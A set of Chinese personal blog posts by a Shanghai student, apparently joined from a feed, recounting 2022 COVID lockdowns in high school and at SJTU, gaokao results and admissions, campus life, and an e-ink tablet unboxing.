第二天中午,流调结果出来了,我所在的楼栋涉及密接,喜提2天封控+5天自我健康管理(后直接加码至7天封控),全校大部分宿舍楼都是如此。封控期间足不出户,三餐配送至寝室,不过至少可以去一楼洗澡,这比三月份好。
于是,真正的大学第一课开始了,在开学第二天就用无尽的封闭管理和层层加码击碎你对正常生活的美好幻想,从而更坚定了你润的决心。
你说的对,但是《封闭化管理》是交通大学自主研发的一款全新封闭世界冒险游戏,游戏发生在一个被称作[闵行校区]的幻想世界,在这里被神选中的人将被授予[南洋北苑4-7天隔离],导引新冠之力,你将扮演一位名为[冤种学生]的神秘角色,在自由的网课生活中邂逅性格各异、能力独特的同伴们,和他们一起做核酸,找回失散的密接——同时逐步发掘[人性化管理]的真相。
(中秋月饼的包装盒,这下成真了😅)
封控期间一日三餐都是配送到寝室的。早饭是保质期很长的那种牛奶加面包,午饭和晚饭是盒饭。
除了第一顿午饭到下午两点才吃上,其他的基本都是准时送到的。
至于饭菜质量嘛,反正透明盒子的盒饭是挺难吃的,略带腥味的不明肉块、淀粉十足的红烧狮子头、口感奇怪的剁椒鱼是饭菜里的常客。相比之下红黑盒子的盒饭比较好吃一些,但依旧比不上堂食😭。
在封控的中后期开始天天发水果,这个挺不错的,水果多到吃不完。
我校购买了腾讯会议教育版,并且对接了教务系统,所有课程全部在腾讯会议进行。得益于学校非常完善的网络基础设施,线上上课几乎没有卡顿。
因为还没有分专业,所以我们寝室除了大学英语外的课都是一样的,就不会互相影响啥的,还可以交流讨论,上课体验不错。
课程作业是在 Canvas 平台上提交,正好之前买了文石的 NoteX 电子纸,可以直接在电子纸上写作业,然后导出 PDF 上传,省去了逐页拍照合并 PDF 的过程,非常便捷。
自从封控之后,早八也显得没有那么恐怖了,毕竟无论有没有早八,清晨6点都会被准时叫醒去做核酸。
校外隔离点开始陆陆续续有人阳性了,因此每隔几天就会突然多查出一批密接,用大巴拉走去隔离,甚至台风登陆那天也连夜拉走。并且越晚拉走的隔离条件越差,班上有人在隔离点一晚上踩死13只美州大蠊。
有一天涉及的密接实在太多,结果搞得非常混乱,简直是一团糟,健康码红码/健康码绿码+收到转运短信/没收到转运短信+在转运名单上/不在转运名单上+最后被转运/最后没被转运,啥样的组合都有,甚至出现了接到转运短信两天后才被转运的情况,这要传染早该传染了吧。
这段时间天天提心吊胆的,看着周围寝室的人一个个被拉走,生怕自己就是下一个。
(图源微信公众号“二月十三”,原文已被和谐)
某天刷校内论坛看到一个帖子,说太无聊太难受了,要开一个线上演唱会,于是就想去凑个热闹。
那天晚上600多个素不相识的人聚在腾讯会议室里一起听歌,想唱的人自由开麦,气氛非常棒,感觉特别解压。后面几天又办了几场,甚至还邀请到了友校的某位知名 UP 主。
总之就是很感谢论坛上的那位学长办了个这样的活动,不然我真的要被关疯掉了。
终于,在9月20日做了鼻咽双采核酸,似乎是要解封的征兆。
(图源微信公众号“二月十三”,原文已被和谐)
9月21日晚,宿舍楼解封。我迫不及待地换了身衣服跑到楼下,找了辆共享单车,开始狂骑。本来打算去西区逛逛,搞点好吃的,结果骑到隧道发现被警戒线拦住了,只好绕着东区骑了好几圈。秋天夜晚的风特别凉爽,因为还有很多楼没有解封,路上一辆车、一个人也没有,非常空旷,非常安静。在被剥夺自由7天后,我突然发现出去骑个车也是如此美妙的事情。
宿舍楼解封后并没有恢复出事之前的所谓的“常态”,校园的所有公共场所依旧不开放,食堂只提供打包,非必要不进出校。即使风险区已经解除,快递也仍旧卡在路上,或是根本发不出来。我的快递就是一直卡在校门外不动,以疫情防控为理由不安排配送,多次打客服电话投诉都只是敷衍了事。不得已试了试邮政总局投诉,几小时后就有客服打电话给我,态度友好地解释原因,并立刻安排配送了,真的高效管用。
解封后的周五,下午上完课立马润回家了,去TMD非必要不离校。既然短期内不可能恢复线下教学,我可不想被关在学校里,天天核酸还哪都去不了。
在上一篇周记中,我曾吐槽过学校的进出校审批制度,毕竟友校都可以凭48小时核酸出入自由了。可是呢?以牺牲大家的正常生活为代价层层加码战战兢兢最后不还是第一个出事了?
已经三年了,如果未来还是这样,如果这一切将成为一种新的常态,我真的不知道我还能忍受多久。大学四年,我想要的是在教室上课的自由,想要的是进出图书馆的自由,想要的是随时出校的自由,而不是无止境的网课与限制以及随时到来的封控。我需要的是种种非必要行为构成的生活,而不仅仅是活着,防疫带给我的麻烦和恐惧远远大于病毒本身。
贵州转运密接的大巴出事的那天,看到新闻我突然就想起了几天前台风登陆的那个夜晚,也有许多密接同学被大巴连夜接走,心里一阵后怕。那天晚上那么大的风,那么大的雨,恐怕连路都看不清吧。你我都在那辆大巴车上,我们又有什么底气保证下一个出事的不会是自己?
对于本次疫情防控中违背《新型冠状病毒肺炎防控方案(第九版)》的种种加码行为(如从未见过的7+0封控、解封要求双采等),大家都通过各种渠道反映过,也尝试过抗争,然而并没有用。用论坛上一位同学的话来说,就像是一拳打在棉花上,很无力。
解封后食堂的工作人员全部穿着防护服在打菜,大概是上面的要求吧,背后就是热火朝天的厨房,还穿着那么厚重的衣服,我真的一阵心疼。我们都生活在这场荒诞的闹剧中,我们都是演员,别无选择。
感谢学校给我上的这开学第一课。
]]>好久不见,首先祝各位中秋快乐!
转眼间已经在大学生活了两周。作为一个学长口中“对大学生活尚存激情与憧憬”的大一新生,这段时间确实收获了不少新鲜的体验。趁着这份难得的新鲜感还未消散,就以本文记录下我从零开始的大学生活吧!
因为就住在上海,决定在家里多躺平一天。8月24日一早带着大大小小的五包行李出发,前往位于闵大荒的 SJTU。到校后一下车就有志愿者拉着手推车帮忙搬运行李。跟随指引依次完成了行李登记、入校核酸,到达校车候车点后提取行李、上车前往宿舍楼。
因为不是闰年所以入住了东区宿舍。校车车门一开,边上的人行道上站满了各个学院的志愿者,手里举着各个学院的牌子。我院的两位学长非常热情地帮我承担了一大半行李,到了宿舍楼之后考虑到楼层比较高就不想麻烦学长了。没想到他们一直等我办理完入住手续,坚持帮我把行李搬上去了,真的非常感谢。
进房间后另外三位室友还在睡懒觉,被我弄醒了我只好尴尬地打了个招呼。之后就是拆包开始收拾,安装蚊帐、铺床垫床单,把各类物品摆放好。一系列杂活弄完已经中午了,然而入校核酸结果还没出,不能出寝室吃饭。幸好入住的时候送了零食大礼包,有面包、饼干什么的,就吃了一些。
下午骑车前往学院办理入学手续。尽管人生地不熟(虽然在上海但是几乎没来过闵大荒),但是手机开个导航语音播报放口袋里,然后跟着语音指示无脑向前骑就顺利到达了。进了楼又开始晕头转向找教务办公室,就在这时一位路过的老师给我指了路(后来发现竟然是我班的思政),顺利办完拿到了学生证、院衫和一些小礼物。
回宿舍后果然遇上了推销的“学长”,果断拒绝,赶出寝室。后来在论坛上看到保卫处抓住了2名翻墙进来推销的校外人员,想想当时应该把他关在宿舍里,然后打电话叫保卫处绳之以法😂。
晚上体验了宿舍楼附近的食堂(后来发现是最难吃的一个)。或许是高中后两年换了食堂供应商难吃至极,相比之下这第一顿我觉得还不错,而且才12元,性价比很高。
因为疫情原因只有部分学院去了现场,其余在各个分会场看转播。
(具体有啥已经记不清了,因为大家都在玩手机)
下午的时候有个领导讲话还 cue 了一下“疫情期间让交大人脸上挂不住的用词”(沆瀣一气),我快笑死了,然而周围同学好像不知道这个梗。(疫情期间高中语文老师把这事发在群里,当时就笑死了)
这玩意用于决定大学英语的课程级别。除了 Vocabulary 部分一堆词不认识之外,其余题目都只是上海高考的加强版,比如听力只读一遍,对于上海考生来说不用准备考上大英4轻轻松松。
随后就是为期两周的军训。对于这种活动我是没有多少好感的,而且正好因为身体原因就申请了减训,于是被分配到了一个很水的岗位。早上不用很早起来去买早饭,也不用随连队活动,真的是“摆得彻底、摸得透彻”,当然工作还是要好好做的,只是相对于普训的同学来说要轻松很多。
军训期间学校对于参训人员是封闭管理,隔天核酸,有的不同年级混住的宿舍楼还不时冒出一两个密接。在这种情况下,学校决定让大家隔天在宿舍吃盒饭。结果刚开始几次盒饭质量还行,到后面真的就是在敷衍,根本对不起12元的价格。
(对于我这种身体原因不能吃虾的肉食爱好者简直难以下咽)
幸好我可以不随连队活动,所以被坑了两次之后我选择自己去堂食(军训服一脱直接冒充大二学长),吃得很开心。
拉练那天晚上果然飘起了小雨,果然我校每逢拉练必下雨。
不过这次雨不大,很凉快很舒服。我没有随队参加拉练,但有别的任务,也算是一种独特的体验。
拉练完之后就是中期慰问,我们班意外地收到了两个学院的慰问品(别问怎么做到的),可惜因为身体原因好多我暂时不能吃。
总的来说这次军训我少参加了很多无意义的集体活动,也有一些不同于他人的体验,正合我意。唯一的遗憾大概就是少认识了一些同学,不过以后还有机会。
学校位于闵大荒,环境很不错。
(荷塘)
(思源湖)
(台风外围雨停后的大彩虹)
学校真的很大。教学楼在东西区都有,这也就意味着时常会出现两节课之间需要横跨东西区的情况。因此,如果只靠脚走不仅时间很赶还会脚痛,自行车成为了必需品,很庆幸我已经掌握了骑车这项技能。
校园内有大量的共享单车,以哈啰单车为主,部分共享单车只能在校园内使用,我买了哈啰的月卡(当然4个月的学生卡更便宜)。但是共享单车最大的毛病就是你不需要的时候满大街都是,要用的时候一辆都找不到,正在考虑买一辆自行车。
另外校内设有大量减速带,有一天骑了太久车感觉人都给颠麻了。还有一定要养成良好的骑行习惯,自从看了学校保卫处制作的校内交通事故录像集锦,我现在骑车都小心翼翼的。
学校有非常多的食堂和餐饮店。趁着军训有大量摸鱼时间,我每顿都跑到比较远的食堂吃,并逐渐发现离宿舍最近的食堂是最难吃的,但即使如此也比高中食堂要好。
下面放点实拍图。
(石锅三样)
(大肉面)
(铁板鸡柳饭)
(玉兰苑的网红鸡蛋灌饼)
总体而言吃这块完全不用愁,堂食物美价廉(盒饭就不好说了),好吃的太多以至于每顿吃什么总要纠结半天。
寝室条件不一,有句话叫“闰年不来交大”,因为闰年普遍分配的是西区的老旧寝室,条件比较艰苦(但是好吃的多啊)。
我是在东区的寝室,条件稍好一些吧,就是非常标准的四人间,上床下桌,有个小阳台。有独立卫生间无独立浴室,且卫生间唯一的排风口居然朝着楼道走廊,有时走在楼道里一股味。
洗澡在一楼的大澡堂,有隔间无门,刷卡洗澡,刷一次出2块钱热水。洗澡需要排队,有时队伍堪比做核酸。
洗衣机也是整栋楼公用的,反正我是不敢用,宁可累一点手洗。据室友说他的衣服洗了之后一股味,有一次去发现有人用洗衣机洗内裤和袜子。
我校网络应该说是全国高校数一数二的,不需要自己办宽带,提供完全免费的无线/有线网络接入。
学校大部分教学楼和食堂以及部分宿舍楼覆盖有 SJTU 无线网络,宿舍楼每个寝室内都有一个 AP,支持 WiFi-6。采用 802.1x 认证,因此一些老旧的设备可能连不上。
宿舍还提供了 1000Mbps 有线网络,但是仅供未覆盖 SJTU 无线网络的楼栋申请使用,我就用不上了。
很遗憾,至今未能回归到疫情前的生活,并且层层加码。
进出校门依旧需要填写事由并经过思政审批,不仅要保证申请的时候有48小时核酸,还要保证进出校的那一刻依旧能够覆盖到,否则有露宿街头的风险,真的是烦死人。幸好我的思政老师挺好的,每次申请都会及时通过审批。
(这是个反面教材)
校内所有室内场所都贴了校园场所码,这是我校放弃现成的场所码自研的一套玩意儿,进入室内场所要先用交我办APP扫码,还有专人在门口盯着,烦死人x2。
校内的常态化核酸要排长队,而且要在规定时间去做。校医院核酸点白天可做,单人单管,但是要收费16元。
这破日子,也不知道什么时候是个头。
总之这段时间还是很快乐的,是人生中为数不多充满新鲜感的时光。
过完中秋就正式开学啦,看到这学期的课表我人麻了,一周四天早八。
之后要继续好好学习了,毕竟大一重要的课还挺多的,也希望10月份能分流到计科/软工/信安,加油!
]]>诶嘿嘿,又花了大价钱整了个新玩具,感觉最近成为了一个开箱博主😂
那么这次开箱的是文石 BOOX NoteX 电子纸。作为一个以前从未用过电子墨水产品的小白,就来分享一下开箱以及使用的感受吧。
先说说买这玩意儿的缘由吧。这不是要上大学了嘛,考虑到要带一堆书和笔记本,而且宿舍里也没有打印机,打印东西还得去打印店,于是决定试试无纸化学习。
我最先想到的方案是 iPad + Apple Pencil。目前手里的 iPad Air 2 从初中开始就是我的生产力工具,平时看个 PDF 啥的都是用的它,然而这家伙过于老旧根本不支持 Apple Pencil。我又想到最近刚好拿到了大学的 EDU 邮箱,而且我妈最近天天拿我的 iPad Air 2 追剧,要不我就用教育优惠买个新的吧。进入官网一看好家伙,这价格都快顶得上一台电脑了,这真的优惠过吗?
苹果的高价让我死心。这时候我又想到高中时同桌用的索尼电子纸,能看 PDF,能做笔记,还不累眼,这不是刚好符合我的需求吗?一查价格直接死心,索尼大法虽好,然鹅我承受不起。不过电子纸倒确实是个不错的选择。最后经过一番挑选,我把目光锁定在了文石 BOOX NoteX,京东正好赶上活动2230元拿下。
(懒得抄一遍了,直接上图吧qwq)
拿到手快递纸箱里放了很多保护用的充气塑料袋,然后就是这个大黑盒子。
打开大黑盒子,里面是赠送的收纳袋和电源适配器,以及一个小黑盒子。
小黑盒子里面就是电子纸本体啦!还有配套的电磁笔和 Type-C 数据线以及取 TF 卡的取卡针。不过没有送替换的笔芯哦,以后磨损了还得自己买来更换。
迫不及待地开机~
走完安卓的设置向导以及电磁笔校准后,进行了系统更新,就进入桌面啦!整个系统的设计还是挺清晰的,轻松上手。
试了试书写体验,挺不错的,延迟也比预想的要好。
首先系统极具开放性,本质上就是一个安卓平板,可以安装任意安卓11系统支持的应用程序,并可以通过 E-Ink 中心自行调优。
系统甚至自带谷歌服务框架,尝试直接安装 Play Store 成功。
这就增添了很多有趣的玩法,以下只是一些例子。
其次系统自带冻结功能,对应用有着严格的后台管理机制,不用担心死机卡顿。
最后嘛也就是所有墨水屏的优点,对眼睛相对比较友好。毕竟自身不发光(当然可以开启背光),就和一张普通的纸没区别,除了能改变内容。而且这个屏幕虽然说是玻璃的,但是自带了一层类纸膜一样的东西,所以纸张感很强,写字有沙沙的感觉,很逼真。
在写字的时候还是有点不习惯,能够感受到笔尖所在的平面与墨水屏所在的平面还是有一定的距离,感觉像是隔了一层玻璃在写字,大概习惯了会好点。
在台灯下阅读时屏幕反光比较厉害,毕竟是玻璃屏,只能关掉台灯开启背光。
自带的笔没有功能键,需要先切换到橡皮再擦除墨迹,比较不方便,可以通过另购电磁笔解决。
除此之外还有大尺寸电子墨水屏的通病,尤其是玻璃屏,那就是特别易碎。而且挺多人貌似都没有磕碰,放在赠送的收纳包里都能自己碎掉,碎了之后外表上还看不出,只是屏幕无法正常显示。维修费普遍在1000元以上,能买半个自身了。所以千万不能摔,不能弯折,不能在上面压东西,不然就寄。(对我这种手残人士很不友好)
还有电磁笔也不能摔,万一压感摔坏了就会出现隔空写字的情况,不过这个换个笔的价钱还是能接受的。(我这个手残拿到货区区两天已经摔了一次笔了,还好摔的时候戴着笔帽,没有啥问题)
总之还是挺满意的,拿来看 PDF 以及记笔记都很不错,而且墨水屏那刷新率也基本告别了拿来看视频,生产力拉满。
就是现在正在努力养成轻拿轻放的习惯,毕竟摔一次1000块钱可不是开玩笑的。看看我这个手残能正常使用它几个月吧。之后要是屏幕莫名其妙碎了我会更新这篇文章来劝退的,想选购的但又不是太急的也可以先观望一下。
]]>又半个月过去了,是时候来水一篇文章了()
好吧,其实是因为8月3日晚就查到了录取结果,终于算是尘埃落定,可以安心过暑假了,就趁此机会就来记录一下7月这后半个月的事情吧。
先说明一下哈,上海高考满分660分(150+150+150+70+70+70),避免无意义的争论。
7月23日一早就开始坐立不安,虽说是晚上六点才出成绩,但是按照春考提前了两个小时就出分的惯例还真说不准。我开始一遍遍地给自己估分,计算器劈里啪啦敲了好几遍,甚至还做了语文数学都只考100分的最坏打算。当然最后给自己一个比较保守且合理的估计是120+134+141+207=602分,语文直接按一二模的分,数学按照民间答案估的,英语默认春考最高,小三门成绩已知。
到了傍晚五点查分页面竟然还是没有动静,依旧是“敬请期待”,这考试院怎么不急着下班啊?五点二十几分考试院官网公布了一分一段表,打开一看直接开幕雷击,600+的高分是去年的近两倍啊!整体涨了近10分!这就是多学一个月且卷子偏简单的后果吗,这也太恐怖了!
再一看我自己估的分数602分,放在去年还算能打,放在今年简直就是一抓一大把。我只能默默祈祷语文能再高一点了,毕竟模考的分数偏低,120分已经是班级前五了。
快六点的时候东方网查分通道提前开了,我几乎是手抖着输入了账号密码,心都快跳出来了,页面非常丝滑,成绩在我按下按钮的那一刻就出来了。
我第一眼看到的是数学,比预估高了2分还有点高兴,应该是压轴题瞎写的证明过程中用到了数学归纳法就给了2分。紧接着看到语文就乐不出来了,不仅没有高上去甚至还比模考低了1分,而且问了同学竟然都是120+,甚至不乏130+的,我是万万没想到语文会寄,果然是玄学吗,语文不爱我了呜呜呜。英语虽然之前说感觉自己又行了,但是毕竟半年没学了,主观题完全是自由发挥的,最后还是没能比春考高。
于是最终的分数是119+136+141+207=603,按一分一段表排名全市459名,寄。清北以及上交 IEEE/AI 想都不要想,上交工科试验班能不能进都是问题,大概只有被调剂的份。
查分之前还收到了清北的短信,让我查完分第一时间把分数填在系统里。查完分我已经死心了,也就没填。结果当晚还是接到了清华的电话问我分数,我非常尴尬地报了成绩,对面沉默了,然后说了句“加油”。
第二天一早十点多收到了邮寄上门的成绩单,603分确凿无疑。
虽然已经死心了,但是反正低分入围了北大强基,就去玩玩了。强基校测是家考,线上笔试+面试,笔试双机位监考。题目挺难的,数学技巧性很强,但有几道好像是往年的题目改编的,很眼熟,之前做过一遍也就会做了,所以强烈建议要考强基的同学好好做做往年的题目。
最后校测15分给了10分,高考成绩折合下来78分,合起来88分,物理组分数线90分,没有奇迹。
考这个分志愿倒也没啥好纠结的,零志愿不用报,提前批学校我看不上也不用报,就只需要填报综合评价批次和普通批次的志愿。
综合评价填了上交,一志愿 IEEE,二志愿 AI,三志愿工科试验班(信息类)。一二志愿填上纯粹是为了碰碰运气,三志愿是比较可能进的,四志愿本来想填密院兜个底,看到极度高昂的学费还是算了。然后勾了服从调剂(有传言说面试的时候看到不服从调剂直接先扣个10分再说)。
考虑到综评批次达到上交物理组分数线应该没问题,又勾选了服从调剂,大概率是不会到普通批了,所以普通批就按分数由高到低随便填了几所。
以上步骤都是在家里通过考试院官网的辅助填报系统完成的,填完之后会打印一张表格,正式填报是要带着表格到学校机房去填的。上海这边正式的志愿填报系统只对学校内网开放,正式填报时家长禁止进入学校,所以也就杜绝了家长瞎改志愿这种事情的发生,学生有完全的自主权,值得称赞。正式填完之后在机房打印草表,核对签字,再打印正表,核对签字,然后志愿锁定,因此除非真的不上心,否则也不会有填错的事情发生。
7月31日综合评价入围结果公布,上交物理组入围线580分,创新高。随后就要准备综合评价面试了。综合评价批次是高考分数占比85%,面试分数占比15%,满分1000分。
8月2日参加了综评面试,因为疫情改为线上进行,双机位监控。只能说安排非常不人性化,面试40分钟,罚坐4小时。等候期间也要全程开摄像头,不能上网,不能交流,不能离开监控区域,只能翻阅纸质材料。我又很不幸抽签抽到了一个很靠后的位置,等候时间应该是全组第二长的。
面试分为 A/B 两轮,没有很大的差异,甚至有些问题是重复的。关于面试的具体内容签了保密协议不能透露,只能说和你提交的材料以及做的自我介绍有很大的联系,千万不要在这些材料里作假,否则就是在给自己挖坑。
顺顺利利地面完,没有奇怪的问题,好像还有电院的教授,看到我打 OI 直接问了一些算法和数据结构的硬核问题,还好没有涉及到我的知识盲区。第二轮的时候能明显感受到面试的教授脸上洋溢着快要下班的喜悦,果然谁都盼着下班。
最后面试拿了135+,高考折合776.59,总分910+。IEEE/AI 没戏,因为高考610+的貌似面试都给了近满分,直接招进去了,所以我没有翻身的机会。但是至少工科试验班(信息类)保住了,没有被调剂去另一个工科试验班(机械、船舶等)。
不过这个专业也是个大坑,因为是大类招生,入学后还要分流决定是 CS 还是 EE 还是自动化、测控之类的,甚至还混入了生物医学工程这个天坑。而按照去年的分流政策高考成绩依然要占比80%,我感觉我 CS 无望了,真的哭死。只希望不要沦落到生物医学工程,不然大概要去医疗器械厂做销售员了(bushi)。
有点犹豫要不要报致远 ACM,听说卷死了,都是信竞大佬。而且压力很大,还要学数分等一些数学系的课程,感觉自己坚持不下来,即使苟活绩点应该也不会好。
然后我们班3个清北,之后基本上都是上交或复旦,去复旦的还蛮多的,比上交多。和我一起进工试信息的还有三个同学,以后又要继续做同学了呢。以及学计算机的真多,算上隔壁复旦的我们班一共有八个人,平时都是卷王啊,感觉以后要被卷死了。
值得一提的是我外公听说我报了交大,说交大是二流学校,为啥不报复旦啊😂(SJTU 风评被害)果然在外地人的眼中都是复旦>上交的吗,这种 stereotype 是哪来的啊qwq
8月6日一早 EMS 就把录取通知书快递上门啦!
签收时发现竟然有两个包裹,打开后发现其中一袋原来是密院、巴院、莫航之类的广告小册子,红色的才是录取通知书本体。
不得不说 SJTU 的录取通知书礼盒还是很实诚的,颜值很高,一点也不敷衍。
中间那块校牌是可以拿下来的,盒子里还附了一块吸铁石可以吸在衣服上。盒子里面的内容也很丰富,首先当然是录取通知书啦。
通知书下面就是各种说明和注意事项,还有行李贴、银行卡之类的。
最底下有一封信、一块磁铁以及校史尺和老虎挂件。
林志颖(雾
拿到通知书之后注册了甲亢 JAccount,然后在“交我办”上面填了一堆的表格(其中还有一个其实没有啥用的宿舍调研),领了电子校园卡,不得不感叹 SJTU 的信息化水平还是很高的。
总之忙忙碌碌到了8月头,总算是把高考这档子事给完结啦,这下心定了。之后大概也就宅家了,到8月23-24号去 SJTU 报到,然后军训两周,迎接大学生活。
总体而言对这个结果还是满意的,虽然还是有一点点小遗憾,语文要是正常发挥应该就能进 SJTU IEEE/AI 了,但是至少还是进了想进的大学和专业大类,继续加油吧。
]]>大家好呀。转眼到了7月中旬,“周记”系列时隔大半年终于等来了更新(好耶!)。
前段时间我终于考完了秋季高考,并且高中毕业啦!趁着现在还没出成绩比较空闲,决定把这个大坑填一下。
所以这篇文章就是关于我消失的这半年发生的事情。因为这半年经历了太多,所以大概也要讲个半年吧(bushi)
咳咳,那么就开始吧!
我是做梦也想不到,2年了,疫情竟会以这种方式粉碎我的生活。年初的时候看到有人开玩笑说2022==2020,因为 twenty twenty-two == twenty twenty, too,现在想来简直就是预言家。
高三下开学没多久,上海的新冠疫情突然就爆发了。大概是三月初的某一天,班级里好几个同学都接到家长打来的电话,说小区被封了(只进不出),让他们放学先别回家。我因为住得比较远,暂时没有被疫情波及到。班主任也让他们想办法找别的地方住,尽量不要影响第二天上课。结果那天晚自习上到一半,大概晚上九点多,班主任愁眉苦脸地进了教室,说她家小区也被封了,她现在无处可去,最后就只好被关在家里了。
之后听了两天网课,到了周五班主任终于回来了。这天上午全校进行了核酸检测,我的零核酸记录终究还是被打破了。下午市教委就通知从下周起开始线上教学。就这样,网课生活时隔一年竟又开始了。此时的我还抱有幻想,以为疫情能很快控制住,网课应该不会持续太久,完全没意识到大的还在后头。
原以为网课应该会和高一的时候一样比在校要轻松,结果第一天下来就累死了。每节课由40分钟变成了120分钟,而且从早上7点半到晚上9点半全程要活在摄像头监控之下,和监狱里犯人的待遇差不多了(看来我校“上海衡水”的外号不是白叫的)。
然后毕竟是高三嘛,少不了各种考试和测验。尽管有摄像头,但也只是防君子不防小人。如果说平时考试有水分的话,网课考试简直就是在水里考,几次考试我的排名都噌噌噌掉了60多名。幸好网课的成绩不作为任何依据,只是供自己参考。
网课一周接着一周,看着每天都在飙升的疫情数据我预感大事不妙,果然不久市教委通知等级考延期一个月,高考延期一个月。此时我的内心是崩溃的。说实话整个高三都没有击垮我,真正击垮我的是在还有1个月就要刑满释放的时候,突然得知要加刑1个月,这种计划、愿景的破碎太令人痛苦了。最后我也只能认清形势,放弃幻想。
关于核酸,三天一大筛,五天一小筛,这种日子已经习以为常了,半年来喉咙都快被捅出茧子了,没完没了的核酸、核酸。后来还发了抗原,也是每天自己捅鼻子,拍照上传。
关于物资,这真的得感谢我妈。她听信了一些被“辟谣”的小道消息说上海要封城,提前屯了很多菜才不至于像网上很多人那样被封了个猝不及防。每天早上还兢兢业业地在各种平台上抢菜。至于居委会嘛也确实发了菜,但是显然不够一家三口人吃的,而且蔬菜品质不佳。有一次发了两个橙子,我妈随手放冰箱了,结果放了一天就已经发霉到烂完了,还把冰箱里的其他东西都搞上了一股烂橙子味,又舍不得扔只能吃了好几天烂橙子味的鸡蛋和蔬菜。
关于快递,这点我们小区还是做得可以的。统一放在小区门口的快递架上,门卫会帮忙消毒、带进来,也没有随意丢弃、处置快递和物资。
关于配药,因为我痤疮比较严重,药又刚好用完,医院是不敢去了,于是第一次体验了互联网医院这种东西。用起来还是很方便的,手机上就能调出之前去医院的病历,然后就可以开处方药,快递到家。
大概六月初终于回到了学校,然而不能坐公共交通上下学,全天戴口罩,每天依旧要做抗原+核酸。
等级考前,每天就上四节40分钟的课,然后做核酸,学校里一层楼两百多个人共用一个检测点,排队排了半小时。每天竟然下午三点就放学,不过回到家后依然要视频监控,快吐了。
等级考之后放学时间调到了5点半,全天课表语数英塞满,高二的同学也都回家继续上网课了,整个学校就只有高三的还在。天天都在期盼着高考的到来。
期间做了数学的全国高考卷,是真的难,对于普通的上海考生而言即使能用计算器也不好做。还写了语文的几篇全国高考作文,感觉立场出题人都帮你预设好了,写起来很没劲,尤其是红楼梦的那篇和本手俗手妙手的那篇写出来简直一模一样,还是上海的作文有意思。
六月底的时候毕业证书到了,因为疫情没有毕业照、没有毕业典礼,但班主任还是仪式感满满地让大家一个一个上台领毕业证书,终于毕业啦。
6月30日,在校上课的最后一天。前几天还想着“这学校我是一秒都待不下去了”,可真的到了最后一天还是很不舍的。和同学拍了很多照片,没有正式的毕业照我们也自己 DIY 了一张。下午布置完高考考场就放学了,但大家都没有要走的意思。折了很多纸飞机,站在教学楼顶一起往下飞,大家互相加油打气。
6月18日参加了物理等级考,原以为会和2020年疫情后的那场等级考一样很难,结果走了另一个极端——过于简单。
整张卷子可以说让高二的我来做都没有问题。但是简单也意味着极高的风险。等级考划分等级看的不是分数而是名次,卷子过于简单缺少区分度,会导致错误被放大,稍有不慎就会出现断崖式的滑档。
很不幸我中招了。压轴题第二问二元一次方程解错了,后面三问用的都是错误的数据,考完出来一对答案我真的哭死。整张卷子就错了这一道题,但是很致命,感觉可能要得B了。
7月7日、8日、9日参加了2022年上海市秋季高考,延期一个月,它终于来了!
一早来到学校,刷了身份证,测体温,然后到学校的新楼候考。(新楼终于装修好了,只可惜我已经毕业了)
提前半小时终于让进教学楼了,我的考场竟然在顶楼,爬楼梯太累人了。到达考场过完金属检测,一进教室就看到讲台前一个熟悉的身影,监考老师竟然是生物老师?!
高二考完生物等级考后她就去教下一届了,一年多没见竟然以这种方式又见面了,而且她还记得我,一下子就认出我了,还笑着问我怎么又长高了,很意外。
第一天考下来语文感觉挺顺手的,作文之前还担心会不会像浙江那样彻底沦为申论,结果依旧很有上海的思辨特色,能写的角度很广,但是考完没啥感觉也不知道考得怎么样。
数学只能说会做的确实都做对了,但是压轴爆杀我,填选压轴都错了,解答压轴猜对了答案不会证,无缘135+,另外应用题答案很怪,让我一度不敢相信,解析几何也不太常规,差点就寄了。
第二天下午考英语,自从春考结束后就没上过英语课,只是打算去碰碰运气的。下午很早进入考场,闲得无聊就打开收音机听 FM 89.9 MHz(英语听力的频率),竟然在放《凤凰花开的路口》,我戴着耳机坐在考场里听得快破防了,这歌选得真应景啊。(899 老传统了,每年秋季高考英语听力之前都要放一首歌,把考生搞 emo 之后再来一句“祝各位考试顺利”,用心险恶啊😂)
考下来竟然感觉比春考还简单,第三天的口语也很常规,感觉我又行了,看看能不能比春考高。
感觉今年整体难度不高,大概是因为疫情闹得这么严重想要稳定社会吧,但最后分数线估计也会高不少,高分段竞争更加激烈了,有点担心能不能上得了自己喜欢的专业。
7月15日查到了物理等级考成绩,很害怕看见B,还好最后拿了个A(赋分67/70)。虽然最初的目标是A+啊,但毕竟这么简单的卷子错了不该错的题,拿个A也心满意足了,至少没有应验我们物理老师的经典劝退名言“选物理,得个B”。
这半年可以说是击碎了我对于中国社会的一切幻想,润的决心更加坚定了。两年了,我们几乎没有进步。
早在2020年的文章中我就提到过,如果只是问责几个官员,然后开庆功大会、高唱赞歌,不反思、不吸取教训,十几年后这一切必定会重演。现在看看还是低估了人类的能力,短短两年之前发生的一切又在另一座城市原封不动地上演了一次。
原本还对上海这座城市有一些期望,因为一直以来我能够感受到这座城市的人文、人情和人性,包括之前的精准防控效果很好,生活几乎已经回归到了正轨。
但疫情爆发后的这半年目睹的种种现象,让我一下子对这座城市失去了信任。扑杀宠物、强行破门、发国难财、重症病人无处就医等等,如此种种两年前就发生过的事情竟再度上演,政府公信力在一次又一次的对辟谣的辟谣中瓦解。所谓的生命至上被原则化、政治化,在疫情防控面前,似乎个体的生活乃至生命都是可以被牺牲的——只要与新冠无关。这个城市、这个国家的未来还会好吗?
其实我挺反感「非必要如何如何」这种说法的。
— 曹哲 (@LightCavalryCZ) May 7, 2022
由必需品构成的是「活着」。
而「生活」正是由种种「非必要」构成的。
去看外面的世界,去见心爱的人,去用一点精致而不甚昂贵的食物犒赏劳累一天的自己。
我们拼命生活,或许为的其实就是这些「不必要」。 pic.twitter.com/SBsALiWKBQ
虽然短时间内应该是润不了,而且国内也有家人,能否适应一个新的环境也是个问题,但是至少现在可以做些准备了。等到哪天铁拳真的砸到我头上了,就努力润吧。
最后,讲讲这三年的高中生活。
尽管这所学校的领导层和部分老师有点招人厌,形式主义泛滥,标榜着某些好听的口号却实则是在复刻衡水模式,但是很幸运遇到了非常好的同学和老师(可能是在实验班的缘故),让这三年值得我留恋。
先说同学,大家的关系都非常好。每逢大考小考教室就成了菜市场,一个个也不管考了几分都在那里卖菜;空闲的下午总能找到人陪你去自习室看书刷题,学习氛围很棒;我篮球打得很糟糕,然而每次几个同学去打球都会叫上我…总之很高兴高中三年有这么好的同学相伴。
